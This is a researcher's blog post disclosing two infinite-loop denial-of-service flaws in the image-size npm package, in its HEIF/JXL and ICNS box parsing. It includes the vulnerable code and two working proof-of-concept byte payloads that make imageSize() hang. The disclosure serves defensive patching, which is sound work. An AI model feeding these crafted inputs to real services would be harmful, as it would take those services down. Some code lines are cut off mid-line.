Two infinite loop / DoS vulnerabilities in image-size

While auditing some code to be used in my company's product, I had to look at the codebase for image-size. This package can be used to determine the size of an image file, across a range of formats. Imagine for example you receive arbitrary image files from a user, and need to determine the size for whatever reason: this package is how you would do it.

During my audit, I discovered the following vulnerability. This vulnerability affects every version up to at least version 2.0.2 (it's still unpatched).

Bug number 1

Similar to GHSA-m5qc-5hw7-8vg7, an infinite loop may occur when parsing `HEIF` and `JP2` types.

Details

In the JXL image parsing code, a loop exists which depends on the incrementation of a JXL's box size increasing. However, `jxlpBox.size` (for example) may be zero, resulting in the offset not being advanced, resulting in an infinite loop.

Consider:

```
export function findBox(
  input: Uint8Array,
  boxName: string,
  currentOffset: number,
) {
  while (currentOffset < input.length) {
    const box = readBox(input, currentOffset)
    if (!box) break
    if (box.name === boxName) return box     -----   [ returns box with box.size ===
[..]
```

```
  }
}
```

Now consider how `findBox()` is used in jxl parsing:

```
function extractPartialStreams(input: Uint8Array): Uint8Array[] {
  const partialStreams: Uint8Array[] = []
  let offset = 0
  while (offset < input.length) {
    const jxlpBox = findBox(input, 'jxlp', offset)
    if (!jxlpBox) break
    partialStreams.push(
      input.slice(jxlpBox.offset + 12, jxlpBox.offset + jxlpBox.size),
    )
    offset = jxlpBox.offset + jxlpBox.size  --------   [ jxlpBox.size === 0 ]
  }
  return partialStreams
}
```

The `while (offset < input.length)` loop will continue forever, as the offset will only be incremented by 1.

The same issue exists in heif parsing.

Proof of Concept

An example PoC for the heif parser:

```
// mkdir 2.0.2
// cd 2.0.2/
// npm i image-size@2.0.2
const {imageSize} = require("image-size");

const PAYLOAD = new Uint8Array([
  // ftyp (size=16)
  0x00,0x00,0x00,0x10, 0x66,0x74,0x79,0x70,
  0x61,0x76,0x69,0x66, 0x00,0x00,0x00,0x00,
  // meta (size=36)
  0x00,0x00,0x00,0x24, 0x6D,0x65,0x74,0x61,
  0x00,0x00,0x00,0x00,
  // iprp (size=8)
  0x00,0x00,0x00,0x08, 0x69,0x70,0x72,0x70,
  // ipco (size=20)
  0x00,0x00,0x00,0x14, 0x69,0x70,0x63,0x6F,
  // ispe (size=0) + padding (16 bytes)
  0x00,0x00,0x00,0x00,  0x69,0x73,0x70,0x65,
  0x00,0x00,0x00,0x00,  0x00,0x00,0x00,0x00,
  0x00,0x00,0x00,0x00,  0x00,0x00,0x00,0x00,
]);
```

```
imageSize(PAYLOAD)
```

Impact

Infinite looping, resulting in Denial of Service.

Bug number 2

A similar infinite loop exists in the ICNS code path. This one was picked up by another user in [this] post, after I reported mine and submitted a patch to fix it. It's the exact same type of bug:

```
// In dist/detector.cjs:252 the loop is:
//   while (imageOffset < fileLength && imageOffset < inputLength)
// It advances via `imageOffset += imageHeader[1]` (the entry length).
// A crafted entry with length 0 never advances imageOffset -> infinite loop (DoS).

const { imageSize } = require('image-size');

const malicious = new Uint8Array([
  0x69, 0x63, 0x6e, 0x73, // 'icns' magic bytes -> passes the ICNS signature check
  0x00, 0x00, 0x00, 0x10, // file length = 16 (big-endian) -> the loop's upper bound
  0x69, 0x73, 0x33, 0x32, // entry type 'is32' (a valid icon type)
  0x00, 0x00, 0x00, 0x00, // entry length = 0 -> imageOffset never advances -> infini
]);

imageSize(malicious);
```

Published on September 19th , 2025 by Joshua Rogers

Related Posts

From gixy-ng to Gixy-Next: rescuing the nginx security scanner, Gixy, from AI slop January 10, 2026
My 2025 Bug Bounty Stories December 22, 2025
Another AI slop story: ChatGPT vs. Human December 5, 2025
AI slop security engineering: Okta's nextjs-auth0 troubles November 18, 2025
Gixy-Next: an overview of a Gixy fork with updated, improved, and new checks November 10, 2025
Retrospective: AI-powered security engineers and source code scanners October 19, 2025
One-Way Sandboxed Iframes: Creating a Read-Only Iframe Sandbox That Can't Read Back October 4, 2025
Network Security: Absurdity of Shared NICs with BMCs and Management Networks October 3, 2025
CCBot: Chrome Checker Bot for Chrome Security Releases October 3, 2025
Securely Validating Domain Names with Regular Expressions October 2, 2025
Bypassing Zscaler, Kandji MDM, and Apple Business Manager for Fun and Lulz September 22, 2025
NXDOMAIN'd: Catching unregistered domains for fun and profit September 19, 2025

Joshua Rogers' Scribbles | by Joshua Rogers